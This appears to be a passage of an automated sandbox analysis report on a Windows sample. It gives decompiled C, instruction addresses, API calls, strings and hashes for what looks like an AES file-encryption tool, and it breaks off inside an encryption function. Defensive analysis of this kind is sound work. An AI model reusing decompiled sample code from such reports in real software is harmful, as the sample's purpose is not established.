						return E00878AD6(_t174 | 0xffffffff, _t201, _a4124 ^ _t271, _t234, _t251, _t262);
					}
				} else {
					do {
						_t8 = _t247 - 0x64; // -100
						_t184 = _t8;
						if(_t184 > 0x12) {
							L18:
							_push(_t247);
							_push(L"Error: Unknown option \'%c\'\n");
							_t186 = E00878DA3() + 0x40;
							__eflags = _t186;
							_push(_t186);
							E00878C47(_t196, _t234, _t247, _t255, _t186);
							_t266 = _t266 + 0xc;
							goto L19;
						} else {
							_t9 = _t184 + 0x875ad0; // 0x14244c8b
							switch( *((intOrPtr*)(( *_t9 & 0x000000ff) * 4 +  &M00875AB4))) {
								case 0:
									if(_a8 != 0) {
										goto L26;
									} else {
										_a8 = 1;
										goto L19;
									}
									goto L102;
								case 1:
									__eflags = _a8;
									if(_a8 != 0) {
										L26:
										_push("Error: only specify one of -d or -e\n");
										_t190 = E00878DA3() + 0x40;
										__eflags = _t190;
										_push(_t190);
										E008795EB(_t196, _t247, _t255, _t190);
										_t272 = _t266 + 8;
										goto L27;
									} else {
										_a8 = 2;
										goto L19;
									}
									goto L102;
								case 2:
									__ecx = _v0;
									__edx =  *_v0;
									__eax = E008752A0(__edx);
									__eax = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx = _a4124;
									__ecx = _a4124 ^ __esp;
									__eflags = __ecx;
									return E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
									goto L102;
								case 3:
									__edx =  *0x889d58;
									__eax = E00879AFC("-",  *0x889d58, 2);
									__eflags = __eax;
									if(__eax != 0) {
										__eax =  *0x889d58; // 0x10720a6
										__esi = __eax;
										__eflags = __esi;
										if(__eflags == 0) {
											__eax =  *0x889d58; // 0x10720a6
											_push(__eax);
											_push(L"Error opening output file %s:");
											__eax = E00878DA3();
											_push(__eax);
											__eax = E00878C47(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 0xc;
											_push(0x8867e8);
											__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 4;
											__esi =  &_a16;
											__eax = E00875360( &_a16);
											__eax = __eax | 0xffffffff;
											_pop(__edi);
											_pop(__esi);
											_pop(__ebx);
											__ecx = _a4124;
											__ecx = _a4124 ^ __esp;
											__eflags = __ecx;
											return __eax;
										} else {
											goto L17;
										}
									} else {
										__eax = E00878DA3();
										_push(0x8000);
										_t21 = __eax + 0x20; // 0x20
										__esi = _t21;
										E00878DA3() = __eax + 0x20;
										_push(__eax);
										__eax = E00879A11(__ebx, __edi, __esi, __eflags);
										__esp = __esp + 8;
										L17:
										__ecx =  *0x889d58; // 0x10720a6
										__edx =  &_a16;
										E00878F58( &_a16, __ecx, 0x400) = 0;
										_a2062 = __ax;
										goto L19;
									}
									goto L102;
								case 4:
									__eax =  *0x889d58;
									__eflags = __eax;
									if(__eax == 0) {
										goto L19;
									} else {
										__edx =  &_a2064;
										__edx =  &_a2064 - __eax;
										__eflags = __edx;
										goto L9;
										do {
											L11:
											__cx =  *__eax;
											__eax = __eax + 2;
											__eflags = __cx;
										} while (__cx != 0);
										__eax = __eax - __edx;
										__eflags = __eax;
										_v4 = __eax;
										if(__eflags < 0) {
											L27:
											_t192 = E00875360( &_a16);
											_pop(_t253);
											_pop(_t264);
											_pop(_t202);
											__eflags = _a4124 ^ _t272;
											return E00878AD6(_t192 | 0xffffffff, _t202, _a4124 ^ _t272, _t234, _t253, _t264);
										} else {
											goto L19;
										}
										goto L102;
										L9:
										__ecx =  *__eax & 0x0000ffff;
										 *((short*)(__edx + __eax)) = __cx;
										__eax = __eax + 2;
										__eflags = __cx;
										if(__cx != 0) {
											goto L9;
										} else {
											__eax =  &_a2064;
											__edx = __eax + 2;
										}
										goto L11;
									}
									goto L102;
								case 5:
									__edx = _v0;
									__edx =  *_v0;
									__eax = E008752F0(__edx);
									__eax = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx = _a4124;
									__ecx = _a4124 ^ __esp;
									__eflags = __ecx;
									return E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
									goto L102;
								case 6:
									goto L18;
							}
						}
						goto L102;
						L19:
						_t196 = _a4;
						_t247 = E00875B10(_a4, _v0);
					} while (_t247 != 0xffffffff);
					goto L20;
				}
				L102:
			}

0x008753b3
0x008753bb
0x008753c0
0x008753c7
0x008753cf
0x008753d7
0x008753db
0x008753df
0x008753e3
0x008753e7
0x008753f1
0x008753f6
0x00875551
0x00875551
0x00875559
0x00875666
0x0087566a
0x0087566c
0x0087568c
0x00875691
0x00875759
0x00875759
0x0087575e
0x00875760
0x00875764
0x00875767
0x008757d4
0x008757d4
0x008757d6
0x008759a9
0x008759b4
0x008759c2
0x008759c3
0x008759c4
0x008759c5
0x008759cf
0x008757e0
0x008757e0
0x008757e4
0x008757f0
0x008757f5
0x008757fa
0x008757fd
0x008757ff
0x00875864
0x00875869
0x0087586c
0x00875870
0x00875872
0x00875a2d
0x00875a2f
0x00875a31
0x00875a33
0x00875a35
0x00875a36
0x00875a3b
0x00875a3b
0x00875a33
0x00875a3e
0x00875a3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00875801
0x00875801
0x00875806
0x0087580b
0x008759f6
0x008759f8
0x008759fa
0x008759fc
0x008759fe
0x008759ff
0x00875a04
0x00875a04
0x008759fc
0x00875a07
0x00875a14
0x00875a15
0x00875a1e
0x00000000
0x00875811
0x00875811
0x00875816
0x00875828
0x00875829
0x0087582e
0x00875831
0x00875833
0x00875835
0x0087583a
0x0087583f
0x0087583f
0x00875853
0x00875854
0x00875859
0x00875859
0x00875878
0x00875878
0x0087587c
0x0087587f
0x008758d0
0x008758d3
0x00000000
0x008758d5
0x008758d5
0x008758d7
0x00875938
0x0087593c
0x00875949
0x00000000
0x008758d9
0x008758d9
0x008758db
0x008758e0
0x008758e0
0x008758e3
0x008758e6
0x008758e6
0x008758ef
0x008758f9
0x008758fe
0x00875900
0x00875903
0x00875906
0x00875906
0x00875909
0x0087590c
0x0087590c
0x00875913
0x00875921
0x0087592b
0x0087592d
0x00875930
0x00875932
0x00875a8d
0x00875a92
0x00875a96
0x00875a98
0x00875a9a
0x00875a9c
0x00875a9e
0x00875a9f
0x00875aa4
0x00875aa4
0x00875a9c
0x00875aab
0x00875aac
0x00000000
0x00000000
0x00000000
0x00000000
0x00875932
0x008758d7
0x00875881
0x00875881
0x00875883
0x008758b6
0x008758c0
0x008758c9
0x0087594e
0x0087594e
0x00875950
0x00875953
0x00875953
0x00875958
0x0087595c
0x0087595e
0x00875960
0x00875962
0x00875964
0x00875965
0x0087596a
0x0087596a
0x00875962
0x0087596d
0x00875975
0x00875977
0x0087598a
0x0087598a
0x0087598c
0x00000000
0x00000000
0x00000000
0x00000000
0x00875979
0x00875979
0x0087597b
0x00000000
0x0087597d
0x0087597d
0x0087597e
0x00875983
0x00875986
0x00875988
0x008759d0
0x008759d2
0x008759d8
0x008759e5
0x008759e6
0x008759eb
0x008759eb
0x00000000
0x00000000
0x00000000
0x00000000
0x00875988
0x0087597b
0x00875885
0x0087588b
0x00875895
0x008758a9
0x008758ab
0x008758ae
0x008758b0
0x00875a67
0x00875a6c
0x00875a70
0x00875a72
0x00875a74
0x00875a76
0x00875a78
0x00875a79
0x00875a7e
0x00875a7e
0x00875a76
0x00875a85
0x00875a86
0x00875a44
0x00875a4c
0x00875a4d
0x00875a55
0x00875a5a
0x00875a5f
0x00000000
0x00000000
0x00000000
0x00000000
0x008758b0
0x00875883
0x0087587f
0x0087580b
0x00000000
0x00875992
0x00875992
0x00875999
0x0087599b
0x008759a0
0x008759a0
0x00000000
0x008757e0
0x00875769
0x00875769
0x0087576b
0x00000000
0x0087576d
0x00875775
0x00875777
0x00875779
0x0087577a
0x0087577f
0x0087577f
0x00875782
0x0087578c
0x0087578c
0x0087578f
0x00875790
0x00875799
0x0087579b
0x0087579b
0x0087579e
0x008757a3
0x008757a7
0x008757b7
0x008757bf
0x008757c0
0x008757c1
0x008757c9
0x008757d3
0x008757d3
0x0087576b
0x00875697
0x008756a4
0x008756a6
0x008756a6
0x008756a9
0x008756ac
0x008756b0
0x008756b3
0x00875721
0x00875721
0x00875723
0x00875754
0x00000000
0x00875725
0x00875729
0x00875737
0x0087573f
0x00875740
0x00875741
0x00875749
0x00875753
0x00875753
0x008756b5
0x008756b5
0x00000000
0x0087571a
0x00000000
0x00000000
0x008756d7
0x008756da
0x008756e3
0x008756e6
0x008756ef
0x008756f4
0x008756f7
0x008756f9
0x008756f9
0x008756e8
0x008756e8
0x008756e8
0x008756dc
0x008756dc
0x008756dc
0x008756fe
0x008756ff
0x00875704
0x0087570c
0x0087570d
0x00875712
0x00000000
0x00000000
0x00000000
0x00000000
0x008756bc
0x008756c1
0x008756c9
0x008756ca
0x008756cf
0x00000000
0x00000000
0x008756b5
0x008756b3
0x0087566e
0x0087566e
0x0087567b
0x0087567c
0x00875685
0x00000000
0x00875685
0x0087555f
0x0087555f
0x0087556c
0x0087556d
0x00875576
0x00875578
0x00875578
0x0087557b
0x00875580
0x00875584
0x0087558c
0x0087558d
0x0087558e
0x008755a0
0x008755a0
0x008753fc
0x008753fc
0x008753fc
0x008753fc
0x00875402
0x00875523
0x00875523
0x00875524
0x0087552e
0x0087552e
0x00875531
0x00875532
0x00875537
0x00000000
0x00875408
0x00875408
0x0087540f
0x00000000
0x0087541b
0x00000000
0x00875421
0x00875421
0x00000000
0x00875421
0x00000000
0x00000000
0x0087542e
0x00875433
0x008755e5
0x008755e5
0x008755ef
0x008755ef
0x008755f2
0x008755f3
0x008755f8
0x00000000
0x00875439
0x00875439
0x00000000
0x00875439
0x00000000
0x00000000
0x008755a1
0x008755a5
0x008755a7
0x008755ac
0x008755ae
0x008755af
0x008755b0
0x008755b1
0x008755b8
0x008755b8
0x008755c2
0x00000000
0x00000000
0x0087549e
0x008754ac
0x008754b4
0x008754b6
0x008754e1
0x008754f1
0x008754f6
0x008754f8
0x0087561c
0x00875621
0x00875622
0x00875627
0x0087562f
0x00875630
0x00875635
0x00875638
0x0087563d
0x00875642
0x00875645
0x00875649
0x0087564e
0x00875651
0x00875652
0x00875653
0x00875654
0x0087565b
0x0087565b
0x00875665
0x00000000
0x00000000
0x00000000
0x008754b8
0x008754b8
0x008754bd
0x008754c2
0x008754c2
0x008754ca
0x008754d6
0x008754d7
0x008754dc
0x008754fe
0x008754fe
0x0087550a
0x00875517
0x00875519
0x00000000
0x00875519
0x00000000
0x00000000
0x00875446
0x0087544b
0x0087544d
0x00000000
0x00875453
0x00875453
0x0087545a
0x0087545a
0x0087545a
0x00875480
0x00875480
0x00875480
0x00875483
0x00875486
0x00875486
0x0087548b
0x0087548b
0x0087548f
0x00875493
0x008755fb
0x008755ff
0x00875607
0x00875608
0x00875609
0x00875611
0x0087561b
0x00875499
0x00000000
0x00875499
0x00000000
0x00875460
0x00875460
0x00875463
0x00875467
0x0087546a
0x0087546d
0x00000000
0x0087546f
0x0087546f
0x00875476
0x00875476
0x00000000
0x0087546d
0x00000000
0x00000000
0x008755c3
0x008755c7
0x008755c9
0x008755ce
0x008755d0
0x008755d1
0x008755d2
0x008755d3
0x008755da
0x008755da
0x008755e4
0x00000000
0x00000000
0x00000000
0x00000000
0x0087540f
0x00000000
0x0087553a
0x0087553e
0x00875546
0x00875548
0x00000000
0x008753fc
0x00000000

APIs

__setmode.LIBCMT ref: 008754D7
_wcsncpy.LIBCMT ref: 0087550F
_fwprintf.LIBCMT ref: 00875532
_fprintf.LIBCMT ref: 0087556D
_fprintf.LIBCMT ref: 008755F3
_fwprintf.LIBCMT ref: 00875630
_perror.LIBCMT ref: 0087563D
_fprintf.LIBCMT ref: 0087567C
_fprintf.LIBCMT ref: 008756CA
_fwprintf.LIBCMT ref: 0087570D

Strings

Error: A single output file may not be specified with multiple input files., xrefs: 00875782
Error: No file argument specified, xrefs: 0087555F
No valid error code specified!!!, xrefs: 008756F9, 008756FE
Error opening output file %s:, xrefs: 00875622
Error opening input file %s : , xrefs: 00875A3F
Error: STDIN may not be specified with multiple input files., xrefs: 00875A07
Error: Could not properly close output file , xrefs: 008759D8
Error: only specify one of -d or -e, xrefs: 008755E5
Error in read_password: %s., xrefs: 008756FF
Error: Passwords don't match., xrefs: 0087571A
password too long, xrefs: 008756E8
Error: -e or -d not specified, xrefs: 0087566E
Error: Unknown option '%c', xrefs: 00875524
Error opening output file %s : , xrefs: 00875A86, 00875AAC
user aborted, xrefs: 008756DC
passwords don't match, xrefs: 008756EF
Error: No password supplied., xrefs: 008756BC
%s.aes, xrefs: 00875886

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fprintf$_fwprintf$__setmode_perror_wcsncpy
String ID: %s.aes$Error in read_password: %s.$Error opening input file %s : $Error opening output file %s : $Error opening output file %s:$Error: -e or -d not specified$Error: A single output file may not be specified with multiple input files.$Error: Could not properly close output file $Error: No file argument specified$Error: No password supplied.$Error: Passwords don't match.$Error: STDIN may not be specified with multiple input files.$Error: Unknown option '%c'$Error: only specify one of -d or -e$No valid error code specified!!!$password too long$passwords don't match$user aborted
API String ID: 2990280923-44409661
Opcode ID: 36d4f2f162efb323f54f25de10774ca1c07f43c270ef2eca8cf952a9914d79bb
Instruction ID: 9097addd7e82b3a478be67014fbf2c1c6b4aeced6c7de13ce2a02adcfd25839d
Opcode Fuzzy Hash: 36d4f2f162efb323f54f25de10774ca1c07f43c270ef2eca8cf952a9914d79bb
Instruction Fuzzy Hash: E202F472A046108BC724BB68DC82A6F7395FF94364F14C629F89DD7299EEB0D90487D3

Uniqueness

Uniqueness Score: -1.00%

Function 0087F251, Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087F251() {
				WCHAR* _t2;
				void* _t4;
				void* _t15;
				WCHAR* _t17;

				_t2 = GetEnvironmentStringsW();
				_t17 = _t2;
				if(_t17 != 0) {
					if( *_t17 != 0) {
						goto L3;
						do {
							do {
								L3:
								_t2 =  &(_t2[1]);
							} while ( *_t2 != 0);
							_t2 =  &(_t2[1]);
						} while ( *_t2 != 0);
					}
					_t1 = _t2 - _t17 + 2; // -2
					_t10 = _t1;
					_t4 = E0087A5E8(_t1); // executed
					_t15 = _t4;
					if(_t15 != 0) {
						E0087E790(_t15, _t17, _t10);
					}
					FreeEnvironmentStringsW(_t17);
					return _t15;
				} else {
					return 0;
				}
			}

0x0087f254
0x0087f25a
0x0087f260
0x0087f269
0x00000000
0x0087f26b
0x0087f26b
0x0087f26b
0x0087f26b
0x0087f26e
0x0087f273
0x0087f276
0x0087f26b
0x0087f27e
0x0087f27e
0x0087f283
0x0087f288
0x0087f28d
0x0087f29f
0x0087f2a4
0x0087f290
0x0087f29b
0x0087f262
0x0087f265
0x0087f265

APIs

GetEnvironmentStringsW.KERNEL32(00000000,00879EEF), ref: 0087F254
__malloc_crt.LIBCMT ref: 0087F283
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0087F290

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: e0dfe6a7116aa86e5f52f13864dc002b092b90a1bb165bfc61069d5a206d3981
Instruction ID: b5ceb9e5a3fd4caa199b20cb340289782106d80624810beeeb08af6562e2bf2e
Opcode Fuzzy Hash: e0dfe6a7116aa86e5f52f13864dc002b092b90a1bb165bfc61069d5a206d3981
Instruction Fuzzy Hash: DEF0E93B5185119A8A2077397C458AB3739FAE636630AC425F609C311BF520CD4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 00879FD0, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00879FD0(int _a4) {

				E00879FA5(_a4);
				ExitProcess(_a4);
			}

0x00879fd8
0x00879fe1

APIs

___crtCorExitProcess.LIBCMT ref: 00879FD8

Part of subcall function 00879FA5: GetModuleHandleW.KERNEL32(mscoree.dll,?,00879FDD,0087F3C2,?,0088015B,000000FF,0000001E,00000001,00000000,00000000,?,0087A5F9,0087F3C2,00000001,0087F3C2), ref: 00879FAF
Part of subcall function 00879FA5: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00879FBF

ExitProcess.KERNEL32 ref: 00879FE1

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 4fa367be02498ccae8346a735137bc4c62112c3173f824f90f3aafa4e3d3d519
Instruction ID: 046b556cf1003096f2d62c02e0371df5b0c1f14264fc112310d8910a11470208
Opcode Fuzzy Hash: 4fa367be02498ccae8346a735137bc4c62112c3173f824f90f3aafa4e3d3d519
Instruction Fuzzy Hash: 12B09B310041087BDB012F15DC0984D3F25FBC13607104010F50C45031DF72DD529681

Uniqueness

Uniqueness Score: -1.00%

Function 008801C0, Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E008801C0(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0x889ce8, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x889d4c;
					if( *0x889d4c == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E0087FA9E(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E0087B831(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x008801c5
0x008801ca
0x008801e7
0x008801ec
0x008801ee
0x008801f0
0x008801f2
0x008801f2
0x008801f2
0x00000000
0x008801fa
0x00880203
0x00880209
0x0088020b
0x00000000
0x00000000
0x0088023f
0x00880241
0x00000000
0x0088020d
0x0088020d
0x00880214
0x00880232
0x00880235
0x00880237
0x00880239
0x00880239
0x00880216
0x00880217
0x0088021d
0x0088021f
0x008801f3
0x008801f3
0x008801f5
0x008801f8
0x00000000
0x00000000
0x00000000
0x00000000
0x00880221
0x00880221
0x00880224
0x00880226
0x00880228
0x00880228
0x0088022e
0x0088022e
0x0088021f
0x00000000
0x008801cc
0x008801d0
0x008801d3
0x008801d6
0x00000000
0x008801d8
0x008801dd
0x008801e6
0x008801e6
0x008801d6
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,0087F457,00000000,?,0087A643,00000001,0087F457,00000000,00000000,00000000,?,0087F457,00000001,00000214), ref: 00880203

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 7463717289a8d7609634cb7673a9bb6640d943dd82355d038376b5ecfc10d2a5
Instruction ID: d035f7e233b8076de328609daac56f5ff51ea661831ea44ddfb9ee3cbf8e8e13
Opcode Fuzzy Hash: 7463717289a8d7609634cb7673a9bb6640d943dd82355d038376b5ecfc10d2a5
Instruction Fuzzy Hash: 3B01B1352012269AEBB5BF69EC18B6A3795FF91760F058529E819CB1A0DBB0C804CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0087A228, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0087A228(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0087A0E8(_t3, _t4, _t5, _t6, _t9); // executed
				return _t2;
			}

0x0087a22d
0x0087a22f
0x0087a231
0x0087a234
0x0087a23d

APIs

_doexit.LIBCMT ref: 0087A234

Part of subcall function 0087A0E8: __lock.LIBCMT ref: 0087A0F6
Part of subcall function 0087A0E8: RtlDecodePointer.NTDLL(00886E28,00000020,0087A24F,0087F3C2,00000001,00000000,?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A132
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A143
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(-00000004,?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A169
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A17C
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A186

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DecodePointer$__lock_doexit
String ID:
API String ID: 3343572566-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: 3b4ea6f442a74ee996bf69c23c4b99d2d77b725337606e60b31ddb2b4b777f80
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: DCB0927258424873DA202586AC03F1A3A0997C0B60F248020BA0C191A1A9A2A969908A

Uniqueness

Uniqueness Score: -1.00%

Function 00879248, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00879248(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t10;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E0087918A(_t4, _t5, _t6, _t7, _t10); // executed
				return _t3;
			}

0x0087924d
0x0087924f
0x00879252
0x00879255
0x0087925e

APIs

__wfsopen.LIBCMT ref: 00879255

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: e61d15deadb6d18896dff3d0afbc61844c932929d86700352983f86d23c43721
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: B4C0927244020C77CF112A86EC06E8A3F1AEBC1774F458020FB1C19161AA77EA71AA9A

Uniqueness

Uniqueness Score: -1.00%

Function 0087F2F5, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,008821B8,008896B0,00000314,00000000,?,?,?,?,?,0087EF80,008896B0,Microsoft Visual C++ Runtime Library,00012010), ref: 0087F2F7

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 9c1c77e542f6b741ab7b1d927ae0b885311a0d59789689fccea3bf41193ccc6f
Instruction ID: 5fc89f4cc709615e5364e349e5a4cc7ec3f8799bcc16fd31c86a52276ae7ed9d
Opcode Fuzzy Hash: 9c1c77e542f6b741ab7b1d927ae0b885311a0d59789689fccea3bf41193ccc6f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008733E0, Relevance: 111.3, APIs: 40, Strings: 23, Instructions: 1073
encryptionCOMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E008733E0(signed int __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v88;
				char _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				char _v136;
				char _v204;
				char _v268;
				char _v269;
				char _v524;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				signed int _v624;
				signed int _v628;
				char _v1148;
				char* _v1152;
				signed int _v1156;
				signed int _v1160;
				long* _v1164;
				signed int _v1168;
				signed int _v1172;
				signed int _v1176;
				intOrPtr _v1180;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t503;
				void* _t512;
				signed int _t514;
				signed int _t517;
				signed int _t518;
				signed int _t522;
				signed int _t524;
				signed int _t525;
				void* _t526;
				void* _t527;
				void* _t530;
				intOrPtr* _t533;
				void* _t535;
				void* _t537;
				void* _t540;
				void* _t541;
				signed int _t548;
				signed int _t552;
				signed int _t553;
				signed int _t557;
				void* _t563;
				void* _t574;
				signed int _t577;
				void* _t578;
				void* _t579;
				signed int _t583;
				signed int _t584;
				void* _t588;
				void* _t589;
				signed int _t591;
				signed int _t596;
				signed int _t601;
				signed int _t602;
				void* _t606;
				void* _t613;
				signed int _t617;
				void* _t618;
				signed int _t623;
				signed int _t624;
				void* _t628;
				signed int _t629;
				signed int _t638;
				void* _t641;
				signed int _t645;
				signed int _t646;
				void* _t650;
				signed int _t653;
				signed int _t659;
				signed int _t667;
				signed int _t676;
				signed int _t686;
				signed int _t690;
				signed int _t696;
				signed int _t700;
				signed int _t708;
				void* _t713;
				signed int _t720;
				signed int _t723;
				signed int _t736;
				signed char _t751;
				signed char _t752;
				signed char _t753;
				signed char _t754;
				signed char _t771;
				signed char _t772;
				signed char _t773;
				signed char _t774;
				intOrPtr _t791;
				intOrPtr _t794;
				intOrPtr _t796;
				intOrPtr _t838;
				long _t843;
				signed int _t847;
				BYTE* _t848;
				intOrPtr _t852;
				BYTE* _t853;
				intOrPtr _t855;
				intOrPtr _t856;
				intOrPtr _t857;
				intOrPtr _t858;
				intOrPtr _t859;
				signed int _t860;
				signed int _t861;
				signed int _t865;
				signed int _t866;
				void* _t867;
				void* _t868;
				void* _t870;
				void* _t871;
				void* _t872;
				void* _t873;
				void* _t874;
				void* _t877;
				void* _t878;
				void* _t879;
